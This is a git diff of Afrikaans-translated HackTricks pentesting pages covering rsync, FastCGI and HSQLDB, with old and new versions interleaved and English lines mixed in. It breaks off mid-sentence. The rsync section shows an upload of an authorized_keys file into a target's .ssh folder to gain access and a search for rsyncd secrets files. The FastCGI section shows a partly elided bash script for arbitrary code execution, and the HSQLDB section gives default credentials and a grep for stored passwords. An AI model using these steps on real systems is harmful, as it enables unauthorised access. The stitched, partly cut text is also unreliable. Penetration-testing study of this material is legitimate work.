**Probeer Hard Security Group**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,95 +1,34 @@
|
|||
# 873 - Pentesting Rsync
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
Vanaf [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
> **rsync** is 'n hulpmiddel vir doeltreffende [oorplasing](https://en.wikipedia.org/wiki/File\_transfer) en [sinsronisering](https://en.wikipedia.org/wiki/File\_synchronization) van [lêers](https://en.wikipedia.org/wiki/Computer\_file) tussen 'n rekenaar en 'n eksterne harde skyf en oor [netwerkgekoppelde](https://en.wikipedia.org/wiki/Computer\_network) [rekenaars](https://en.wikipedia.org/wiki/Computer) deur die [wyzigingstye](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) en groottes van lêers te vergelyk.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Dit word algemeen gevind op [Unix-soortgelyke](https://en.wikipedia.org/wiki/Unix-like) [bedryfstelsels](https://en.wikipedia.org/wiki/Operating\_system). Die rsync-algoritme is 'n tipe [delta-kodering](https://en.wikipedia.org/wiki/Delta\_encoding) en word gebruik om netwerkgebruik te verminder. [Zlib](https://en.wikipedia.org/wiki/Zlib) kan gebruik word vir addisionele [datakompressie](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) en [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) of [stunnel](https://en.wikipedia.org/wiki/Stunnel) kan gebruik word vir sekuriteit.
|
||||
> **rsync** is 'n nut om doeltreffend [oor te dra](https://en.wikipedia.org/wiki/File\_transfer) en [te sinkroniseer](https://en.wikipedia.org/wiki/File\_synchronization) [lêers](https://en.wikipedia.org/wiki/Computer\_file) tussen 'n rekenaar en 'n eksterne hardeskyf en oor [netwerk](https://en.wikipedia.org/wiki/Computer\_network) [rekenaars](https://en.wikipedia.org/wiki/Computer) deur die [wysigings tye](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) en groottes van lêers te vergelyk.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Dit word algemeen op [Unix-agtige](https://en.wikipedia.org/wiki/Unix-like) [bedryfstelsels](https://en.wikipedia.org/wiki/Operating\_system) aangetref. Die rsync-algoritme is 'n tipe [delta-kodering](https://en.wikipedia.org/wiki/Delta\_encoding), en word gebruik om netwerkgebruik te minimaliseer. [Zlib](https://en.wikipedia.org/wiki/Zlib) kan gebruik word vir addisionele [data-kompressie](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) en [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) of [stunnel](https://en.wikipedia.org/wiki/Stunnel) kan gebruik word vir sekuriteit.
|
||||
|
||||
**Verstekpoort:** 873
|
||||
**Standaard poort:** 873
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
873/tcp open rsync syn-ack
|
||||
```
|
||||
## Opname
|
||||
|
||||
### Baniere & Handleiding kommunikasie
|
||||
|
||||
Die eerste stap in die opname van 'n rsync-diens is om die baniere en handleiding kommunikasie te ondersoek. Hierdie inligting kan waardevolle inligting verskaf oor die diens en moontlike kwesbaarhede.
|
||||
|
||||
#### Baniere
|
||||
|
||||
Om die baniere van 'n rsync-diens te ondersoek, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
nc <target_ip> <target_port>
|
||||
```
|
||||
|
||||
As jy 'n suksesvolle verbinding maak, sal jy die baniere van die rsync-diens sien. Hierdie inligting kan nuttig wees om die spesifieke weergawe van die rsync-diens te identifiseer en moontlike kwesbaarhede te vind.
|
||||
|
||||
#### Handleiding kommunikasie
|
||||
|
||||
Om die handleiding kommunikasie van 'n rsync-diens te ondersoek, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
rsync <target_ip>::
|
||||
```
|
||||
|
||||
Hierdie opdrag sal 'n lys van beskikbare modules vir die rsync-diens gee. Dit kan nuttige inligting verskaf oor die struktuur en inhoud van die diens.
|
||||
|
||||
### Portskandering
|
||||
|
||||
Die volgende stap in die opnameproses is om die poorte van die rsync-diens te skandeer om te bepaal watter poorte oop is en beskikbaar is vir kommunikasie.
|
||||
|
||||
Jy kan 'n skandering van die poorte uitvoer deur die volgende opdrag te gebruik:
|
||||
|
||||
```bash
|
||||
nmap -p <port_range> <target_ip>
|
||||
```
|
||||
|
||||
Vervang `<port_range>` met die spesifieke poortreeks wat jy wil skandeer, en `<target_ip>` met die IP-adres van die teikenstelsel.
|
||||
|
||||
Die resultate van die poortskandering kan aandui watter poorte oop is en moontlik toegang tot die rsync-diens bied.
|
||||
|
||||
### Module-analise
|
||||
|
||||
Nadat jy 'n lys van beskikbare modules vir die rsync-diens verkry het, kan jy elke module ondersoek om te bepaal watter aksies en funksies beskikbaar is.
|
||||
|
||||
Om 'n spesifieke module te ondersoek, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
rsync <target_ip>::<module_name>
|
||||
```
|
||||
|
||||
Vervang `<target_ip>` met die IP-adres van die teikenstelsel en `<module_name>` met die naam van die spesifieke module wat jy wil ondersoek.
|
||||
|
||||
Hierdie analise kan jou help om die funksionaliteit en moontlike kwesbaarhede van elke module te verstaan.
|
||||
|
||||
### Verkenning van kwesbaarhede
|
||||
|
||||
Nadat jy die rsync-diens ondersoek het, kan jy spesifieke kwesbaarhede verken om toegang tot die stelsel te verkry.
|
||||
|
||||
Hier is 'n paar algemene kwesbaarhede wat jy kan ondersoek:
|
||||
|
||||
- **Geen wagwoord vereis**: Sommige rsync-dienskonfigurasies mag nie 'n wagwoord vereis nie, wat beteken dat jy sonder verifikasie toegang kan verkry.
|
||||
- **Onveilige oorskrywing**: As die rsync-diens oorskrywing toelaat, kan jy moontlik skadelike lêers oorskryf en uitvoerbaar maak.
|
||||
- **Onveilige lêerhantering**: As die rsync-diens nie behoorlike lêerhantering toepas nie, kan jy moontlik toegang verkry tot gevoelige lêers of lêers wat nie bedoel is om gedeel te word nie.
|
||||
|
||||
Deur hierdie kwesbaarhede te ondersoek, kan jy moontlik toegang tot die stelsel verkry en verdere aanvalle uitvoer.
|
||||
### Banier & Handmatige kommunikasie
|
||||
```bash
|
||||
nc -vn 127.0.0.1 873
|
||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||
|
@ -111,9 +50,9 @@ nc -vn 127.0.0.1 873
|
|||
raidroot
|
||||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||||
```
|
||||
### **Opsomming van Gedeelde Lêers**
|
||||
### **Opname van Gedeelde Mappe**
|
||||
|
||||
**Rsync-modules** word erken as **gidsaandele** wat moontlik **met wagwoorde beskerm** kan word. Om beskikbare modules te identifiseer en te kontroleer of hulle wagwoorde vereis, word die volgende opdragte gebruik:
|
||||
**Rsync modules** word erken as **gedeelde direkteure** wat moontlik **met wagwoorde beskerm word**. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik:
|
||||
```bash
|
||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/rsync/modules_list
|
||||
|
@ -121,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
|||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
Wees bewus dat sommige aandele moontlik nie in die lys verskyn nie en moontlik versteek is. Daarbenewens kan toegang tot sommige aandele beperk word tot spesifieke **geloofsbriewe**, aangedui deur 'n **"Toegang Geweier"** boodskap.
|
||||
Wees bewus daarvan dat sommige gedeeltes dalk nie in die lys verskyn nie, wat hulle moontlik verberg. Daarbenewens kan toegang tot sommige gedeeltes beperk wees tot spesifieke **credentials**, aangedui deur 'n **"Access Denied"** boodskap.
|
||||
|
||||
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||
|
||||
### Handleiding Rsync Gebruik
|
||||
### Handmatige Rsync Gebruik
|
||||
|
||||
Na die verkryging van 'n **modulelys**, hang die aksies af van of verifikasie nodig is. Sonder verifikasie word **lysmaak** en **kopiëring** van lêers van 'n gedeelde vouer na 'n plaaslike gids bereik deur middel van:
|
||||
Na die verkryging van 'n **module lys**, hang aksies af van of verifikasie nodig is. Sonder verifikasie kan **lys** en **kopieer** van lêers van 'n gedeelde gids na 'n plaaslike gids bereik word deur:
|
||||
```bash
|
||||
# Listing a shared folder
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
|
@ -135,39 +74,40 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
|
|||
# Copying files from a shared folder
|
||||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
Hierdie proses oordra **rekursief lêers**, met behoud van hul eienskappe en regte.
|
||||
Hierdie proses **herhalend oordra lêers**, terwyl hulle hul eienskappe en toestemmings behou.
|
||||
|
||||
Met **volmagte**, kan die lys en aflaai vanuit 'n gedeelde vouer so gedoen word, waar 'n wagwoordversoek sal verskyn:
|
||||
Met **akkrediteeringe** kan lys en aflaai van 'n gedeelde gids soos volg gedoen word, waar 'n wagwoordprompt sal verskyn:
|
||||
```bash
|
||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
Om inhoud soos 'n _**authorized_keys**_ lêer vir toegang te **oplaai**, gebruik:
|
||||
Om **inhoud op te laai**, soos 'n _**authorized_keys**_ lêer vir toegang, gebruik:
|
||||
```bash
|
||||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||
```
|
||||
## POST
|
||||
|
||||
Om die rsyncd-konfigurasie-lêer op te spoor, voer die volgende uit:
|
||||
Om die rsyncd-konfigurasie-lêer te vind, voer uit:
|
||||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
Binne hierdie lêer kan 'n _secrets-lêer_ parameter na 'n lêer verwys wat **gebruikersname en wagwoorde** vir rsyncd-verifikasie bevat.
|
||||
Within this file, a _secrets file_ parameter might point to a file containing **gebruikernamme en wagwoorde** for rsyncd authentication.
|
||||
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
As jy wil **leer wat FastCGI is** kyk na die volgende bladsy:
|
||||
As jy wil **leer wat FastCGI is** kyk die volgende bladsy:
|
||||
|
||||
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
||||
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Standaard hardloop **FastCGI** op **poort** **9000** en word nie deur nmap herken nie. **Gewoonlik** luister FastCGI slegs op **localhost**.
|
||||
Standaard **FastCGI** loop op **poort** **9000** en word nie deur nmap erken nie. **Gewoonlik** luister FastCGI net op **localhost**.
|
||||
|
||||
# RCE
|
||||
|
||||
Dit is redelik maklik om FastCGI arbitrêre kode uit te voer:
|
||||
Dit is redelik maklik om FastCGI te laat uitvoer willekeurige kode:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
|
@ -45,21 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
|||
cat $OUTPUT
|
||||
done
|
||||
```
|
||||
```markdown
|
||||
of jy kan ook die volgende Python-skripsie gebruik: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356)
|
||||
of jy kan ook die volgende python skrip gebruik: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
```
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,58 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
**HSQLDB \([HyperSQL-databasis](http://hsqldb.org/)\)** is die voorste SQL-relasiedatabasisstelsel wat in Java geskryf is. Dit bied 'n klein, vinnige, veelvuldig-draadse en transaksionele databasisenjin met in-memory en disk-gebaseerde tabelle en ondersteun ingebedde en bedienermodusse.
|
||||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** is die toonaangewende SQL relationele databasisstelsel geskryf in Java. Dit bied 'n klein, vinnige multithreaded en transaksionele databasis enjin met in-geheue en skyf-gebaseerde tabelle en ondersteun ingebedde en bediener modi.
|
||||
|
||||
**Verstekpoort:** 9001
|
||||
**Standaard poort:** 9001
|
||||
```text
|
||||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||||
```
|
||||
# Inligting
|
||||
|
||||
### Standaardinstellings
|
||||
### Standaard Instellings
|
||||
|
||||
Let daarop dat hierdie diens waarskynlik standaard in die geheue loop of aan die localhost gebind is. As jy dit gevind het, het jy waarskynlik 'n ander diens uitgebuit en is jy op soek na verhoogde regte.
|
||||
Let daarop dat hierdie diens waarskynlik standaard in geheue loop of aan localhost gekoppel is. As jy dit gevind het, het jy waarskynlik 'n ander diens uitgebuit en soek jy om regte te verhoog.
|
||||
|
||||
Standaard geloofsbriewe is gewoonlik `sa` met 'n leë wagwoord.
|
||||
|
||||
As jy 'n ander diens uitgebuit het, soek na moontlike geloofsbriewe deur gebruik te maak van
|
||||
As jy 'n ander diens uitgebuit het, soek na moontlike geloofsbriewe met behulp van
|
||||
```text
|
||||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||||
```
|
||||
Let op die databasisnaam sorgvuldig - jy sal dit nodig hê om te verbind.
|
||||
Note die databasenaam versigtig - jy sal dit nodig hê om te verbind.
|
||||
|
||||
# Inligting Versameling
|
||||
|
||||
Verbind met die DB-instansie deur [HSQLDB af te laai](https://sourceforge.net/projects/hsqldb/files/) en `hsqldb/lib/hsqldb.jar` uit te pak. Voer die GUI-toepassing \(eww\) uit deur `java -jar hsqldb.jar` te gebruik en verbind met die instansie deur die ontdekte/swak geloofsbriewe te gebruik.
|
||||
Verbind met die DB-instansie deur [HSQLDB af te laai](https://sourceforge.net/projects/hsqldb/files/) en `hsqldb/lib/hsqldb.jar` uit te pak. Voer die GUI-toepassing \(eww\) uit met `java -jar hsqldb.jar` en verbind met die instansie met die ontdekte/swak geloofsbriewe.
|
||||
|
||||
Let daarop dat die verbindings-URL iets soos hierdie sal lyk vir 'n afgeleë stelsel: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||
Let daarop dat die verbindings-URL iets soos hierdie vir 'n afstandstelsel sal lyk: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||||
|
||||
# Truuks
|
||||
|
||||
## Java Taal Routines
|
||||
|
||||
Ons kan statiese metodes van 'n Java-klas vanuit HSQLDB oproep deur Java Taal Routines te gebruik. Let daarop dat die geroepte klas in die toepassing se klasselys moet wees.
|
||||
